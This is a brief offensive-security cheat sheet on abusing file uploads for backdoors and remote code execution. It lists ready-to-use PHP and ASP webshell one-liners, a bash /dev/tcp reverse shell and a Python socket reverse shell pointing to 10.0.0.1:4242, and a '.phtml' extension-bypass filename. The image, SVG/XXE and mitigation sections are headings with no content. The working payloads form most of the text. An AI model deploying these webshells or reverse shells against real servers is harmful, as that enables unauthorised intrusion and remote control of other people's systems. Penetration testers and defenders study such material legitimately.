File Uploads
Ways to upload files to a server for backdoor or RCE purposes
Basic Webshell Uploads
<?php system('hostname'); ?><?php system($_REQUEST['cmd']); ?><% eval request('cmd') %>Basic Reverse shells
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")Extension Bypassing
shell.phtmlShells in Images
SVG files and XXE
Mitigations
Last updated